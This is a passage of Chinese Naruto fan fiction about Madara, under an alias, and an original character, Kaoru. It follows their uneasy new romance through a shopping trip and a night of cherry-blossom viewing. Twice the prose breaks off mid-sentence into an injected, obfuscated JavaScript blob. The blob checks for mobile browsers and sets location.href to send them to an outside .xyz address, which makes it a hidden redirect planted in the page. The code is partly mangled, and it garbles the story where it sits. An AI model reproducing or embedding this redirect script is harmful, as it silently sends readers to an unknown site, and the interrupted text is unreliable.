但现在她的脑子里一团混乱，思维在打架。一边在和自己说别玩了开饭，一边在和自己说等等分不过心来。 断断续续地吃了点对方的气，熏觉得该结束了，结果又被志叶按着。 安于享乐的天性飞快胜过了理性，熏连一秒都没多犹豫，搂着恋人继续亲了起来。 他们交往了！ 亲一下又不会出事！ 等到斑艰难地把熏推开，斑终于意识到了个可怕的事实。 他这个不会压抑自己欲望的人反而是他们两人中更受理性支配的人。 熏正快乐地眨着眼，还对他说：“多谢款待。” 斑痛苦地闭上眼，深深吸了一口气。 刚见面时那个侃侃而谈深思熟虑的熏好像是个假的一样。 真是够了。 等这家伙恢复正常就该让她好好担心了！ “我去接点水。”斑嗓音有些沙哑，起身拿起水囊往河边走。 熏哦了一下，余光瞥到已经烤焦的鱼，明白了什么，当即起身：“我也一起去吧，再抓点鱼——” “不用，”斑立刻回道，担心熏真的准备跟上来，“我还要洗漱。” 熏若有所思。 熏恍然大悟。 熏坐了回去。 这是要处理私人问题，得避嫌。 斑离开的时候，熏也正好有时间处理自己的问题。 她召唤出自己的通灵兽，她的通灵兽是只杏黄色的狗，宽大的耳朵垂在脑袋边上，具体物种熏不清楚，外表看起来有点像比格，但是完全不是比格这种恶霸的性格，总之对人很是热情，一见面就准备扑到熏身上撒娇。 结果狗子在看清熏如今的模样紧急刹了车。 熏：……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922543|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她伸手打算揉揉狗子，狗子警惕地后退了几步，又在空气中嗅闻了好几遍，才将信将疑地凑上前来蹭了蹭熏的手。 熏差点为狗子认出她感动哭了。 她狠狠揉搓了一番自家的通灵兽，才拿出纸笔快速写好自己如今的情况，交给狗子交代道：“把信送给扉间，别让柱间知道。” 信里倒没写太多东西，就说了任务有变动，她又临时接了个新任务，得晚点回家。 不想柱间知道的理由也很幼稚，因为她目前正在和柱间的族外朋友交往，实在是心虚。 熏觉得过段时间她习惯了再说这事也不迟。 ……而且她还没问志叶的真名呢。 交往后熏反而不太敢问了，担心自己问得太唐突。 志叶这家伙有时候看起来挺主动的，但傲娇性格真的深藏他心，而且这家伙又总是一副厉害忍者的样子，让他说真话不容易。 狗子汪了一声，问熏这副模样是怎么回事。 熏总不能说她也不知道，又不想消息传回去惹人担心，于是镇定自若地说瞎话：“新雇主喜欢鬼怪传说，让我装扮成这样，你知道的，那些贵族老是想一出是一出。” 狗子清澈的黑眼睛目露疑惑，但还是接受了主人的解释，汪了几声让主人注意安全，才原地消失。 通灵兽离开后，熏面色沉了下来。 她还在想一开始打算控制她杀了芽衣的家伙。 如果一开始只是怀疑，那这件事后熏有一半把握芽衣和千手有关系——好的坏的暂且不提。 就是不知道对方究竟是什么人，幕后之人为什么要让她去杀芽衣。 薰还是怀疑对方是宇智波，但让她杀一个宇智波又有什么用？ 这么想着的时候，志叶拎着装满的水囊回来了。 少年把水囊递给她，熏突然就想起当初追查芽衣两人踪迹时，远远看着那对情侣修整饮水的事，一个愣神间又不太自在了。 斑注意到熏的愣神，问了一句，熏面上还是一副不太置信的表情问斑：“志叶，我真的和你表白了？” 斑嗯了一声。 “你也喜欢我。”熏继续说。 斑继续肯定对方的说辞。 “……就感觉，有点不现实。”熏说。 小说都不敢这么写吧。 连对方是什么人都不知道，就自顾自喜欢上然后交往了。 她一开始还觉得芽衣是个不合格的忍者，现在看来她和志叶也差不多。 忍者失格。 斑见状掰正熏的脑袋，凝视着对方冷金色的眼瞳：“那怎么才会让你觉得现实点？” 熏来了精神，端端正正地坐在斑面前：“你对我说句话。” “什么话？”斑觉得不对劲了，直觉熏又要说些让他头疼的话。 熏字正腔圆：“瑠花，你的警惕心去哪里了？” 斑：…… “你还挺记仇的。” 熏戳了戳斑的手臂：“生气了？” “没有，”他抓住熏的手，就这么顺着指缝握住了她，说起正事，“今天袭击你的家伙是怎么回事？” 熏摇头：“不太清楚，我也想不通对方在图谋什么。不过……” 她犹豫了一下，还是说道：“我觉得可能是因为芽衣的身份。” “幕后之人可能是想挑拨我和她背后忍族的关系，”熏说，“就像一开始那样，我的雇主不是不太对劲吗？一定要我来完成这个任务。” 秀哉是个普通人，也不需要杀他，和他没什么关系。 对方的重点是让她杀了芽衣。 “不过芽衣没死，那个奇怪的家伙也死了，应该没问题了。”熏跟着叹气。 无论真相如何，今天那个黑色的东西死掉之后，就死无对证了。 斑若有所思地看着熏。 芽衣是族里的情报人员，名声不显，这次她做出这种事谁都没有预料到。 背后之人却精准捕捉到了这个机会，让熏上了套，熏的身份又有什么特殊的，值得对方这么算计？ 对方对情报的把控能力实在让人心惊，背后目的也不得不让人深究。 挑拨关系……宇智波和谁？ 16.忍族混战16 当晚熏和斑各怀心事地入睡，熏却没睡好，感觉自己做了个很长的噩梦。 她也不知道自己处在个什么视角，梦的开场她就在疯狂下坠，地面不断有石头在上升合拢成一块巨石。 最后天上那块大石头不断向上飞，变成了月亮。 熏：……？ 她这是精神状态糟糕到什么地步了，才会梦到这种东西啊？ 她飞快思考了一下自己是不是因为新的恋情而产生了压力，分析完觉得志叶远不足以让她做这种噩梦，于是静观其变看看这个梦还有什么惊喜。 于是她变成了跟踪狂。 “她”跟踪一个头上长角的男人到处跑，男人修桥她偷窥，男人收徒她偷窥，男人结婚她依旧偷窥。 熏开始怀疑世界。 先不提她不是跟踪狂这种恐怖阴暗角色，单说被跟踪对象——那也不是她喜欢的类型啊，她为什么要跟踪对方啊？她明明喜欢志叶啊！ 最终熏把目光落到了对方头上的角上。 明白了，她明白了。 这个噩梦诞生的原因是因为她脑袋上的那两个角！ 除此之外她找不到任何理由！ 这个梦最后在长角男人的妻子生下一对兄弟后结束。 熏睁开眼睛，头疼欲裂，只觉得这个晚上过得极为漫长。 她原地重启大脑，好一会儿才打起精神去河边洗漱。 从河边回来的时候，志叶也已经洗漱完，将燃了一晚上的篝火熄灭，清理痕迹。少年黑色的发间笼着一层淡淡的水汽，听见熏的脚步声后抬头看去。 见熏仍有些睡眼朦胧地往回走，斑思索了一下，而后道：“熏，你变回来了。” 熏一愣，随即低头捞起自己的头发，果然看见头发已经变回了金色。她再摸摸脑门，困扰了自己一整晚的角也不见了。 难怪她刚才洗漱的时候总觉得哪里不对劲，却又说不上来。 自己忧心的事就这么平淡地解决了，熏甚至懵了一会儿，而后才感受到了喜悦。 她不由跑到志叶面前，想要伸手抱住对方分享自己的情绪。 手举到一半，却又理智上线，她装作什么都没发生一样，手硬生生地拐了个弯摸上自己额头，仰起脑袋看着他，兴高采烈地说道：“我终于变回来了！” 她主动提起了昨晚的梦：“你都不知道我昨天晚上梦到了什么！” 斑注意到熏没完成的动作，手指轻微地动了下，最终却只是抬起手揉了揉对方那头漂亮的金发当作回应，然后故作不经意地问她梦到了什么。 “一个和我一样，脑袋上长着角的男人。”熏抱怨起来，没注意到志叶在听见这话后表情细微的不对。 “梦里我简直跟个变态一样，阴暗监视他，他到哪里我就跟踪到哪里，还看着他结婚生子，不知道的还以为我暗恋他呢。” 想到梦里的“自己”，熏都忍不住浑身起鸡皮疙瘩，梦里的她跟阴暗偷窥狂没有区别——问题是她完全不是这种人啊！ 斑目光微动，压下心中没来由的烦躁，猜测道：“会不会，那是你的同族？” ——为什么会梦到这么一个人？ 熏的眼神惊恐起来，仿佛志叶在说一个鬼故事。 “我这只是特殊情况！你看，我现在已经变回来了！”她将脸凑近志叶，捧着少年的脸强硬地让对方看她，“我的族人都是正常人啊！你真把当我成什么奇怪的种族了吗！” 可能被开除人籍这件事比自己在梦里当了一晚上跟踪狂更难让熏接受。 斑安抚地抵住熏的额头，鼻息交融间两人的呼吸似乎都要融为一体。 “嗯，我知道的，熏。”他按住少女的肩，做了一开始想做的事，伸手将对方抱在怀里，等到少女的情绪稍微平复了些后才放开她。 因为熏的模样已经恢复了正常，接下来赶路的时候两人就能光明正大走大路。他们不约而同用变身术隐藏自己的身份，又接受了对方给出的“以免路上节外生枝”的理由，共同向目的地赶去。 等他们一前一后完成了自己的任务在城外汇合后，熏少见地茫然起来。 接下来该怎么办？ 再怎么不想，他们也已经没有同行的理由，现在已经到了分别的时刻。 那以后呢？ 虽说他们交往了……但双方都心知肚明，除非彻底表明自己的身份，否则他们的下一次见面只能是偶遇。 除了面前这个人是自己喜欢的人外，他们实则对对方一无所知。 熏看了眼志叶，犹豫着想说什么。 斑先一步握住了熏的手：“我打听过了，今晚町中有赏樱的活动，我们可以晚点再离开。” 熏沉默片刻，然后笑了起来：“好啊，正好也好好休息一下，之前的事一件接着一件，都没好好休息过，先去找家旅店吧。” 她仿佛忘记了自己担忧的那些事，拉着斑在町中的道路上逛了起来。 这里是依附主城的城下町，因为城主的治理水准不低，所以商业也较为发达，店铺种类要比林下城附近的城町多一些，连旅店都要多上几家。 不过有几家旅店熏还没走进去，就因为大厅里一边喝酒一边赌博的客人撤回了投宿意愿，兜兜转转他们最后找了家角落里的小旅馆投宿。 在房间里放好行李后，熏便去隔壁敲门，问志叶要不要出门逛街。 “给族人家人他们带礼物嘛……还有，今天晚上，我们就这么直接过去吗？”熏扯了一堆理由后，才有些不好意思地移开目光，委婉地说道。 此时两人依旧是变身术的状态，斑看着外貌变得很普通的少女，忽然愣了一下，意识到两人即使为了今晚的活动好好装扮一番……也终究是假的。 他想问熏即使这样也有兴致去逛街吗，最后却败在了熏期待的眼神之下。 “走吧。”斑说。 至少，给家人带礼物的事是真的。 熏先去了花店买了一袋种子。种植植物是柱间的爱好，熏对此没什么意见，相反她挺乐意给柱间带点她想看的花的种子。 她自己搞不来这些细心的活，但是问题不大，她的朋友种了四舍五入她就是她种了，反正柱间又不会拦着不让看。 熏付完钱收好种子，转头就见志叶严阵以待地盯着门边花瓶里斜斜插着的几枝樱花。 “志叶？” 熏唤了一声后斑才回神，少年又隐隐为自己的反应恼怒。 “要买一枝吗？”熏踩着轻巧的步伐凑到少年身边，感叹起来，“我们第一次见面，就有很多樱花呢。” “花种不一样，”斑抿了抿唇，婉拒了熏的提议，却又突然停下，看向熏，“你喜欢吗？” 熏注视着花瓶中的花枝，压住嘴角险些忍不住的笑意，拉住了志叶的手，慢悠悠地回答：“怎么说呢，不讨厌。” 斑闻言就要伸手取下几枝：“那……” “不过，要说喜欢的话，我更喜欢桃花。这里没有，但我朋友家种了很多棵，春天的时候我就爱往她家跑，”熏话音一转，打消志叶要买下樱花的打算，问道，“你呢，志叶，你喜欢什么花？” 花是再柔软不过的东西，随之附带的香味对忍者而言更是麻烦。 宇智波斑过去没想过这些，但面对熏的问题，又想要给出一个确切但不扫兴的答案。 最后他回忆起不久前站在樱花树下抬头望向他的少女，犹豫地说道：“樱花吧……大概。” 承认自己喜欢花，似乎比在训练场上输给别人还要丢脸。 “欸？”熏意外地看了眼志叶。 斑被这一眼看得有些羞恼，防御性地紧绷起来，下巴微扬，问熏怎么了。 “感觉你看起来更可能给出‘我不喜欢这些无用之物’或者更具有象征意义的答案。”熏一边说着一边取下几枝樱花，没等斑反应过来，她就抱着花小跑去付了钱，又选了红色的丝带让店员帮忙系好，而后把手中这捧系上红色束带的花都塞进了斑怀里。 “熏！”斑被猝不及防塞了一怀抱的花，这么几下动作他身上落了不少细小的花瓣。 看出志叶有些恼怒，熏笑眯眯地凑过去挽住他的手：“怎么怎么？第一次被女孩子送花，不好意思了吗？” 斑无法反驳，又感到阵阵无力，却也不想承认，有那么一瞬间他甚至想罔顾事实说“才不是第一次被送花”。 但最后他憋了好一会儿，说道：“谢谢。” 熏见状又忍不住笑出声：“还以为你会说些可怕的话呢。” “……我在你心里到底是什么形象，”斑一阵无语，和熏一起出了花店，“你是故意想惹我生气吧？” 熏连忙摇头：“你怎么会这么想！” 斑闻言有些意外，刚要说话，就听见少女继续道：“我只是喜欢看你想生气又没办法生气的样子。” “……”斑抱紧手里的花，深深吸气，警告道，“我的脾气没那么好。” “真的吗？” “真的。” “啊！那家店有卖甜品，你不是要给你弟弟买吃的吗？”熏转移话题，指着不远处的小店给斑看。 斑：“……” 他低头看了看自己衣服上散落的花瓣，又看着拉着自己去店里的少女，无奈地笑了起来。眉眼柔和不少的少年看着少女的背影，喊道：“熏。” “嗯？怎么了？”熏回过头看他，以为他还打算揪着上个话题不放，眼珠心虚地乱转，嘴上继续转移话题，“不是说你的弟弟很喜欢吃甜点吗？” “你喜欢吃什么呢？”斑问，“我现在知道你喜欢桃花了，但还不知道你喜欢的其它东西——喜欢的食物、喜欢的天气、喜欢的娱乐方式，都告诉我吧。” 熏呆在了原地，愣愣地看着志叶。 即便志叶如今用了变身术隐藏自己的外貌，但熏似乎仍能透过志叶如今的样子，想象出真正的他的神情。 ——真过分啊。 熏想。 明明他们可以只保持如今的距离，喜欢也可以只停留在单纯的喜欢上，不过多地了解对方，这样以后即便分开了也不会有太多的遗憾，但是志叶却主动地说起这些话。 志叶好像真的很认真。 这样一来，岂不是显得妄想只停留在这一步的她很过分了吗？ 熏扭过头，飞快地眨了眨眼睛，又继续笑着开口：“哪有你这么直接问的，这种事不应该在相处的时候慢慢发现吗？然后在不经意的时候做一些事透露出你知道这些，给我一个惊喜才对。” 斑怀疑地盯着熏的后脑勺：“真的？” “你一看就没有谈过恋爱。”熏语气笃定。 “……”斑，“这么说，你很有经验？” 熏当即点头：“当然，我撮合的情侣少说也有几十对。” 穿越前她可没少玩攻略游戏，只是不看攻略就会走进be线，但这种事没必要说出来。 斑的笑容立刻嘲讽起来：“结果，你也没有经验啊。” 察觉到斑话语中微妙的挑衅，熏不服气地哼了一声：“反正我肯定是比你有经验的，这点你没话说吧！” 正要反驳的斑突然反应过来，他们的争执简直幼稚得可笑，他微妙地沉默下来，而后快步越过了熏，反而把熏带着小跑起来跟上他。 熏不解地看着突然走到前面的志叶，拉了拉与志叶相握的手，问道：“喂，志叶，你突然走这么快干什么，你不是最讨厌有人站在你身后吗？” “你的话可以忍耐，”斑停在店铺中的展台前，回头看她，“现在不告诉我的话，我买到你不喜欢吃的，你也要全部吃下去。” 熏被这么不讲道理的话震惊了，不服气地反驳：“哪有你这么强硬送东西的，还必须我吃下去！” 斑冷笑一声，低头看向怀里花枝上颤巍巍的花：“是啊，哪有这么强硬送东西的，不由分说就把花塞过来。” “……我才不信你会不高兴，”熏一时语塞，嘀咕了一句傲娇，然后跟着站到展台前，大声说，“那我可就随便选了，千万别被我吓到，提前为你的钱包哭泣吧！” 斑哼笑了一声，抱起手臂站在一旁望着熏，轻抬下颌：“请吧。” 结果，熏选的还没斑买给弟弟的多。 她不可思议地看着斑手里的一大盒菓子，委婉提醒：“志叶，吃不完会坏掉的。” 斑不解地偏过头看熏，又看向手里的盒子，平淡地啊了一声：“我算了时间的，没买太多，不会坏。” 熏：？ 她看着自己手里甚至算了志叶的两人份点心，再看看志叶手里的超大份点心，神情恍惚：“……你弟弟是真爱吃点心啊。” “还好，我和他都会吃。”斑说。 两人出了店门，找了个不起眼的地方把买好的东西封印上，斑见熏依旧提着点心盒子，有些疑惑：“怎么不收起来？” 熏又挽上了斑的胳膊，见斑也还抱着花枝，轻哼道：“那你怎么不收起来。” 因为没必要。 斑的答案在脑中转了一圈，但他没说出来，就着熏挽住他的姿势手往下移，牢牢扣住少女的掌心。 “晚上带去赏樱正好。”斑说。 熏也扬了扬下巴说道：“我的原因也一样，晚上逛饿了吃的。” 两人没逛一会儿，熏又被一家展出不少鲜艳布匹的店吸引了目光。 她脚步微顿，又立刻拉着斑进了店，给妈妈和桃华选礼物。 熏和店主人聊得有来有回，熏极会捧场，听着店主人说这些布料是通过当地特殊的染织技艺制成的，眼睛都在闪闪发光，左一句“真的吗？”右一句“天呐，真是不可思议”，把店主人哄得喜笑颜开，认认真真听着熏的描述给她推荐合适好看的布料。 斑站在一旁等着熏选布料，本以为熏是给她自己买，结果听了一会儿才发现熏是在给别人挑礼物。他微一愣神，见熏和店主人聊得兴起，便站在原地不动声色地打量起店内的织物，最终却什么都没做。 选到最后，熏又顺便挑了对店里就没打算能卖出去的红色耳坠戴上。付好钱等着店主人把其他选好的礼物包好时，她见志叶眼神有些古怪，便凑过去问。可惜志叶又不说，她想了想就不管了，撩开耳边垂落的发丝给志叶炫耀自己新买的耳饰，得到了对方肯定的评价。 结果两人走出店后好一会儿，熏盘算着给扉间带什么的时候，斑突然开口问熏：“你似乎很喜欢那些布料，为什么不给自己选？” 熏诧异地看向斑，想了想后道：“我的话，足够了。” 她慢吞吞地挨着斑走：“我爸爸，以前不知道怎么想的，给我买了不少料子，感觉没个十几年是用不完的了。不过没想到看起来五大三粗的人，审美却意外好，所以我不愁衣服啦。” “他给我妈妈也留了不少，但我妈妈舍不得用，最后就都便宜我了。”想起灯，熏便不由又想起他死的那一天，笑容散去不少。 她不再去想那些伤心事，但又想起刚才志叶诡异的安静，脚步突然一顿，狐疑地看向他：“莫非，你刚才……” 斑立刻打断熏未说完的话：“你想多了！” 语气之严厉，仿佛熏说了个很严重的话题。 熏：“……” 她这还什么都没说呢，志叶这是不打自招了吗？ “真的？”熏又问，“你看着我的眼睛回答我。” 斑垂眸看了熏一眼：“真的。” “是吗——”熏拉长了声音，“那你说说我想什么了？” “熏！”斑瞪了她一眼，结果熏更是变本加厉，手猝不及防得触到他的耳畔，像一片轻飘飘的羽毛拂过。 熏收回手，抿唇轻笑看着前方：“志叶，你耳朵好烫，害羞了吗？难道刚才是想送我礼物？” “……” 志叶迟迟没说话，熏犹豫了一下，心想不会真的被惹生气了吧，结果就见志叶满眼懊恼。 “……真的生气了？”熏眨了下眼睛，心头有些慌，突然不知道该说什么。 斑看着少女有些慌乱的脸色，无奈叹气，抓住少女的手摇头。 “和你没关系，我只是在和自己生气。”斑想，刚才自己真的很危险。 和之前始终保持一定警惕不同，刚才完全丧失了警惕的他，比族里的小孩子都要软弱。 如果熏真的要杀他，刚才他就死了。 但这样的话，他不可能告诉熏。 夜色逐渐降临，暗下的天幕边际滚着一层火烧似的边，准备赏樱的居民三三两两结伴往町外的树林走去。 熏从志叶古怪的态度中察觉到了什么，但她没有指出来。 这反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958766|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而会让熏轻松一些，她表白的时候正处在理智被压抑的状态，如今恢复了正常，熏反而茫然起来，面对即将到来的结局只能秉持着走一步算一步的态度。 对，那个时候她的状态本来就不对，她本来没想过表白的。 熏说服自己。 她下意识地忘记自己明明连难捱的食欲都能克制的事。 两人一句话没说，慢吞吞地来到踏青赏樱的地方，结果原本约出来逛街说要好好打扮一番的目的也没完成，就她自己买了对耳夹，志叶怀里抱着花……也勉强算吧。 细雪般的花瓣飘飘扬扬，熏无端想起初次见到志叶时对方与月色近乎融为一体斩落而下的锋锐刀光。 任谁也想不到，不到一个月，他们的关系竟有了如此大的变化。 远处小孩子的玩闹声听起来欢快极了，熏听得心里不平衡起来，又转过头静静看志叶。 自己为什么会喜欢志叶呢？ 斑停下脚步，熏为了融入人群，用变身术掩去了自己偏浅的发色，选择了更多人有的黑发。 不同于狂化状态的白发，也不是真正的金发，而是简单的黑发。 他抬起手，在对方茫然的目光下将早已准备好的发簪簪了上去，发簪尾端的红珊瑚珠闪着柔润的光泽，恰巧与熏的耳饰同色。 “志叶？”熏问。 斑收回手，避开熏的目光：“……只是剑的回礼。” 熏抬起手摸了摸脑袋上的发饰，有点想摘下来看看是什么样的，但最后还是将手收回。 “路上没有见到你买。”熏说。 什么时候准备的，为什么她会不知道？是早有预谋吗？还是巧合？ 斑又叹气：“早就准备好了，但一直没想好什么时候交给你。你到底想知道什么，熏？” 这些时日相处下来，斑对熏的性格大致有了了解。 虽然看上去熏总是大大咧咧的，好像有什么就说什么，但对于真正的目的总是拐弯抹角。 像他当初一时失言，说漏了嘴，熏的回应却是问他会不会后悔，随后一点时间都不给，就这么直接将两人都还在迷茫的问题捅到了明处。而在此之前熏却一点异样都没露出来，让人以为她真的是个没有边界感的人。 但熏对于自己该说什么不该说什么的认知其实很清晰。 可对他而言，想要从她那些挑拨情绪的话中辨别出熏的真实目的，就尤为困难了。 “……我在想，”熏注视着伪装后志叶平平无奇的样貌，“太奇怪了。” 如果她喜欢志叶的脸，那为什么看着现在的志叶也会有种心脏涨满般的喜悦呢？ 如果她喜欢志叶的性格，明明什么都不了解，她又怎么确认真实的志叶是个什么样的人呢？ 为什么就这么简单地喜欢上了志叶呢？既然能这么简单地喜欢上志叶，为什么又不会这么简单地喜欢族里的人呢？ “什么奇怪？”斑问。 “怎么会不奇怪呢？我已经是很奇怪的人了，结果你也这么奇怪，简简单单就喜欢上一个来历不明的人，完全不像个忍者，这简直太危险了。志叶你就没想过我可能是故意接近你的吗？”熏看着被戳中心底部分所想瞳孔震颤的少年，不解极了，“又为什么会接受我说的那句话呢？” 赌两人的家族没有仇怨。 这不是运气好就能赌的，得是天命之子才敢这么赌吧。 忍界打了几百年，哪一家和其他忍族没有仇怨呢？ 就算是盟友，几十年前两族也可能是敌人，几十年后依旧可能是敌人。 就算志叶不是宇智波，他也可以是羽衣，是辉夜，是千手千百年来可能得罪过的任意一支忍族的人。 除非志叶是漩涡，是千手的远亲，但志叶是黑发。 说到底，会跟着她一起乱来的志叶也很奇怪。 斑看着熏，语气很平静：“所以你后悔了。” 熏表情微滞，狼狈地转开头：“你没有后悔，那明天我们怎么办呢？往后呢？所谓的交往，其实并没有考虑过以后吧。” 回到了千手的她该怎么联系他？听天由命吗？纵然真的有联系方式，如果被族人发现了，这又该怎么解释？稍有不慎就会背上奸细的罪名。 “你看，我不知道你的名字，不了解你的喜好，我不知道你对我表现出来的一切是真是假。你也一样，我们这样太……”熏想说太幼稚了。勇气只是一时的，但当勇气消退后面对充满迷雾的前路时，恐惧便涌了上来。 但是她无法轻率地用幼稚来评价自己的恋情，就好像她这么个人也是幼稚的，连带着志叶也是这样。 斑又问她：“那一开始为什么要那么说？” 当然是因为喜欢啊。 熏想这么回答，眼泪却开始不停往下落。 不喜欢的话怎么会表白，不喜欢的话怎么会有勇气说出那种宛如笑话的话。 因为太喜欢了，所以哪怕可怕的未来就摆在眼前，她也想告诉对方自己的心意，也想争取一次机会。 忍者的一生都在竞争，在战场上竞争，失败的人死去，赢的人活下来；在任务上竞争，抢到任务的积累名气，失去任务的被视作败者淘汰。忍者不择手段夺取个人与家族所需要的一切——生命、金钱、名誉，甚至于感情。 所以接受着忍者命运的她也本能般地想要得到志叶。 这一瞬间，熏突然就理解了当初芽衣的话，为什么她会执着于一个普通的人。 但熏说不出来自己喜欢志叶了。 她太害怕了，不敢接受志叶真实的身份，也不觉得这样的自己还有资格说出自己喜欢他。 她也觉得志叶肯定也厌倦了她的反复，明明一开始主动的是她，现在担惊受怕的也是她，她的做法肯定被当作玩弄他的感情了。 就这么分开好了。 熏抬起袖子想要擦掉眼泪，却先一步被志叶擦掉。 “你只是太害怕了，熏，”斑的手悬停在少女的眼侧，指腹上还残留着泪水的热度，他看着自己的手，也看着熏近在咫尺的脸，说道，“但你忘了，最开始，是我主动的，就算有责任，也有我的部分。” 熏愣愣地看着志叶。 斑垂着眸，语气十分平静，好像她所担心的都不是什么大事：“所以，你还是想要先知道我的身份，对吧？” 熏拼命摇头，但斑却按住了熏。 “我很喜欢你送的花，也很喜欢你送的剑。”斑用额头抵着熏的，就像一开始熏因为自己狂化的形态太过诡异时他安慰熏时那样，斑认真地告诉熏自己的感受。 用红色的系带系上的樱枝很好看，所以他也没不解风情地去问熏为什么要特意买一支这里到处都是的花枝而不是直接折下一支。 随身的长刀被破坏了，令人满意的刀并不好找，他也不想随便买上一把粗制滥造的刀。熏送的短刀虽然不适用实战，但足以护身。 过去完成的任务里，有雇主随意赏下的珍贵发簪，本想直接卖掉的他却被父亲劝了下来，说往后说不定会遇上想要赠予的对象。于是当他看见熏浅金色的发丝时，他想起那只发簪上红色的珊瑚珠。这样的金色得用红色点缀装饰才行，于是他暗地里让通灵兽替他将发簪带了过来，却依旧不满足，认为那只发簪只是勉强配得上熏。 熏的那番话，斑本该生气的。 她自顾自地表白了，又自顾自地想要收回。 明明连身为千手的柱间，都还没有因为他是宇智波而为他们二人过去的梦想死心。 熏却开始惧怕起他们未知的身份。 明明结果再坏，也没有她是千手那么坏。 只要熏不是千手，那么，往后总有办法的。 但斑又想，像柱间那种死脑筋全天下找不出第二个，熏的担忧反而才是正常的。 熏一直是更为主动的那个，他却给了太少的回应，她会担忧恐惧是理所当然的。 于是那股怒气便神奇地消散了。 那么，就直说吧。 “你之前说，你想赌一次，但运气不太好，”斑将人紧紧扣在怀里，态度强硬，语气却堪称平静，“现在你不想赌了，那就换我来。” “我的运气向来不错，除非违规，否则我的朋友在这上面基本赢不了我，”斑冷静地看着熏，“你是要和我一起，还是放弃？” 17.忍族混战17 知道斑嘴里那个没怎么在运气上赢过的朋友是柱间后，熏每每想起这件事，就暗骂自己被宇智波的花言巧语迷了眼。 和柱间一起玩运气类的游戏，赢是很正常的，怎么能说赢的人运气好呢。 但这时候的熏根本没想到志叶嘴里那个很少赢的朋友是柱间。 所以在被志叶的冷静所感染后，熏又觉得自己可以了。 不过，熏好歹记得这里人多，她对志叶点了点头后，又主动提道：“明天吧，至少今天，不要再想这件事了。” 斑古怪地看着事到临头又开始犹豫的熏，没有再逼迫下去，同意了。 但斑的目光显然刺激到了熏，少女沉默了一阵，主动问道：“你是不是在想今天明明是我主动提这件事的？” 斑避而不答：“这是你说的。” 熏：“……” 她的眼眶还有些红，此刻沉默下来和往常开朗的模样没有半点相似之处，斑见了不由叹气：“别想那些事了，你不是还特意带了点心过来吃吗？” 他主动拉起人走到适合坐下的地方，拿过点心盒子打开，再递给熏。 熏一声不吭地接过点心往嘴里塞，吃着吃着又开始掉眼泪，手上点心却不停，一个接一个。 斑顿时大感无措。小时候应付泉奈的方式甚至起了相反的效果，他想不通怎么会有人边吃点心边哭的，而且还是不哭出声的那种，就只有眼泪不停往下落。 斑想要说些什么，结果刚张口，手上就被递了个点心，熏看着他，终于说话了：“你不吃吗，志叶？” 很简单的意思，让他别说话。 斑看着手里的点心，又好气又好笑，结果还是一语不发地吃了。 又过了一会儿，熏停了下来。 她拉了拉身旁志叶的袖子，夜樱似乎落得没个尽头，熏开口问他：“你不觉得讨厌吗？” “什么？”斑愣了一下。 “很多，像是我们偏偏是忍者，得面临这种选择。像我这么出尔反尔，再怎么心宽也会觉得被玩弄吧？还有今天的月亮，一点也不亮，花也落个不停，从刚才开始就一直吵吵闹闹的小孩子……” 斑一开始听着的时候还严阵以待，听到后面简直要笑出声了。 很不幸，这一幕刚好被熏看见，于是熏流畅地接上一句：“还有你，听我抱怨还能笑出声。” 斑想了想，说：“我以前也有个朋友。” 熏：“你朋友怎么这么多。” “……” 斑看熏：“你说我说？” 熏把下巴放在膝盖上，准备开始听心灵鸡汤：“你说。” “我那个朋友，以前也说过类似的话，”斑说，“质疑忍者为什么要隐藏身份，质疑大人的选择，质疑我们为什么一定要相互残杀。” “然后呢？”熏问。 “然后？”斑看着自己的握住的樱花花枝，风一吹花就四散飘零，就像早已面目全非的梦想，“然后被现实击溃，成为了出色的忍者。” 熏评价：“好讨厌的故事，不应该是少年忍者决不屈服，然后改变世界吗？故事套路都这么写的。” “大概是因为他有必须保护的人吧。”斑说。 “借口，不要把责任推到别人身上啊，明明是自己想要放弃吧，就像我和你一样，”熏说，“我想放弃可以找那么多理由，你不想放弃可以直接来一句你运气好。” 斑愣了愣，见熏伸手抓住面前的一片花瓣又放开。 “不是那么简单的事。”斑沉默后道。 “哪里有简单的事，我们俩的事也不算简单吧，芽衣他们也挺麻烦的，不过那是你的朋友，我也不好说什么，显得我好像在挑拨你们，总之尊重他人选择和命运。命运万岁！”熏棒读道。 “……”斑想说点什么挽回一下熏对“朋友”的印象，最后还是放弃了，“我还有一个朋友。” 熏再度感叹：“你的朋友好多。” “我之前说的那个朋友，我的朋友也没有太多。”斑说。 “真的吗？感觉你性格这么好，朋友应该会很多的……好吧，然后呢？”在志叶目光越发危险时，熏及时改口。 “我的脾气其实不好，”斑再度强调，“他的性格也一团糟，遇到一些无关紧要的小事就爱消沉，就跟你刚才什么都要说一句差不多。” 熏抓住重点：“你是在说我的性格一团糟？” “……不是，你遇到的也不是小事，”斑揉了揉额头，“而且他消沉的时候会一直说自己的不是。” 熏面露怜悯：“好内耗的性格，他一定过得很不容易吧？” “……”斑冷笑了一声，“如果他的消沉都是装的呢？利用我、别人的关心，乘机拔得头筹。” 熏感叹：“难怪你的性格这么好，怎么也不生气。啊不是，我是说你这朋友真的好坏。” 斑：“……你可以骂得更厉害一点，就像刚才骂我另一个朋友那样。” 熏想了想：“你这个朋友也是忍者？” 斑点头。 